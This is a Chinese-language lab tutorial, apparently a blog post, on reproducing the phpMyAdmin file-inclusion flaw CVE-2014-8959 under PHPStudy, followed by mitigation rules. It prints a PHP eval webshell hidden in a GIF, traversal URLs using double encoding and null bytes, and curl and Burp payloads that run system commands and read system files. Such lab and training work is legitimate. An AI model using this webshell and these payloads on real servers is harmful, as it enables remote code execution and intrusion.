从零构建CVE-2014-8959靶场:PHPStudy环境下的phpMyAdmin文件包含实战
当我在整理企业内网渗透测试培训材料时,发现许多初学者对文件包含漏洞的理解停留在理论层面。于是决定用这个经典的CVE-2014-8959漏洞作为教学案例,带大家从环境搭建到漏洞利用走完整个流程。不同于简单的漏洞演示,我们将重点解决Windows系统下使用PHPStudy可能遇到的各种"坑"。
1. 环境准备与靶场搭建
1.1 组件版本选择
在Windows 10系统上使用PHPStudy 2018版本进行测试时,发现不同PHP版本对漏洞复现成功率有显著影响。经过多次尝试,推荐以下组合:
| 组件 | 推荐版本 | 替代方案 | 注意事项 |
|---|---|---|---|
| PHPStudy | v2018 | v2021 | 需关闭PHP的open_basedir限制 |
| PHP | 5.4.45 | 5.2.17 | 确保register_argc_argv=On |
| phpMyAdmin | 4.0.10.10 | 4.0.x系列 | 不要使用5.x以上版本 |
| MySQL | 5.5.53 | 5.0+ | 仅需基础服务运行 |
安装完成后,需要特别检查php.ini中的两个关键配置:
allow_url_include = On
allow_url_fopen = On
1.2 目录结构配置
许多复现失败案例源于错误的文件放置位置。建议按以下结构组织:
phpStudy
├── PHPTutorial
│ ├── WWW
│ │ ├── pma # phpMyAdmin主目录
│ │ │ └── ...
│ │ └── 1.gif # 恶意GIF文件
│ └── Apache
└── tmp # 系统临时目录
在WWW根目录下创建1.gif文件时,Windows记事本可能会自动添加BOM头导致解析失败。推荐使用Notepad++保存为UTF-8无BOM格式:
<?php @eval($_POST['a']);?>
2. 漏洞原理深度解析
2.1 二次编码绕过机制
这个漏洞的精妙之处在于它对编码处理的缺陷。正常文件包含防护会检查路径中的
../
等危险字符,但当我们对payload进行双重URL编码时:
原始payload:
/../../../../1.gif
第一次编码:
%2F..%2F..%2F..%2F..%2F1.gif
第二次编码:
%252F..%252F..%252F..%252F..%252F1.gif
防护系统解码第一次后看到的是无害的
%2F
(被当作普通字符),而PHP最终执行时才会解析出真实的路径穿越符。
2.2 Token获取的三种方式
-
页面源码提取法 : 在登录后的页面HTML中搜索
token=参数 -
Cookie解析法 :
document.cookie.match(/pmaToken=([^;]+)/)[1] -
BurpSuite拦截法 : 在Proxy → HTTP history中筛选
pma请求
3. 分步复现操作指南
3.1 基础利用流程
-
登录phpMyAdmin后台(默认地址
http://localhost/pma) - 获取当前会话token值
-
构造恶意URL:
http://localhost/pma/gis_data_editor.php?token=[YOUR_TOKEN]&gis_data[gis_type]=/../../../../1.gif%00 -
使用HackTool或curl发送POST请求:
curl -X POST -d "a=system('whoami');" "http://localhost/pma/gis_data_editor.php?..."
3.2 BurpSuite高级利用
对于需要复杂操作的情况,建议使用BurpSuite的Repeater模块:
- 拦截正常请求后右键发送到Repeater
-
修改参数为双重编码格式:
gis_data[gis_type]=%252F..%252F..%252F..%252F..%252F1.gif%00 -
添加POST数据:
a=echo shell_exec('type C:\\windows\\win.ini');
注意:Windows路径需要使用正斜杠或双反斜杠,如
C:/windows/system.ini或C:\\windows\\system.ini
4. 常见问题解决方案
4.1 报错排查表
| 错误现象 | 可能原因 | 解决方案 |
|---|---|---|
| 500 Internal Server Error | PHP版本过高 | 降级到PHP 5.4.x系列 |
| 空白页面无响应 | open_basedir限制 | 修改php.ini相关设置 |
| 包含失败但无报错 | 路径层级不足 | 增加../到8-10层 |
| 被识别为非法操作 | token过期 | 重新登录获取最新token |
| 部分函数被禁用 | disable_functions限制 | 使用其他未被禁用的函数替代 |
4.2 路径穿越深度测试
在Windows系统下,不同分区的路径穿越需要特别注意。通过以下方法测试包含深度:
// 测试包含语句
<?php
for($i=1;$i<=15;$i++){
$path = str_repeat('../',$i).'1.gif';
echo "尝试{$i}层: ".file_exists($path)."<br>";
}
?>
实际测试中发现,通常需要8-10层
../
才能到达根目录。如果包含失败,可以尝试:
/../../../../../../../../1.gif
5. 防御与加固建议
5.1 临时缓解措施
对于无法立即升级的系统,可通过以下方式防护:
-
在nginx配置中添加规则:
location ~* \.php$ { if ($args ~* "\.\./") { return 403; } } -
创建.htaccess防护(Apache):
RewriteEngine On RewriteCond %{QUERY_STRING} (\.\./|\.\.%2f) [NC] RewriteRule .* - [F]
5.2 安全开发规范
-
所有包含操作必须限定基础目录:
$base_dir = '/var/www/allow/'; $path = realpath($base_dir . $_GET['file']); if(strpos($path, $base_dir) !== 0) { die('非法访问!'); } -
使用白名单验证文件类型:
$allow_ext = ['jpg','png','gif']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if(!in_array($ext, $allow_ext)){ die('不支持的文件类型'); }
在最近一次内部攻防演练中,我们发现即使是最"古老"的漏洞,在特定环境下仍然具有杀伤力。建议每季度对测试环境进行漏洞扫描,及时更新组件版本。

被折叠的 条评论
为什么被折叠?



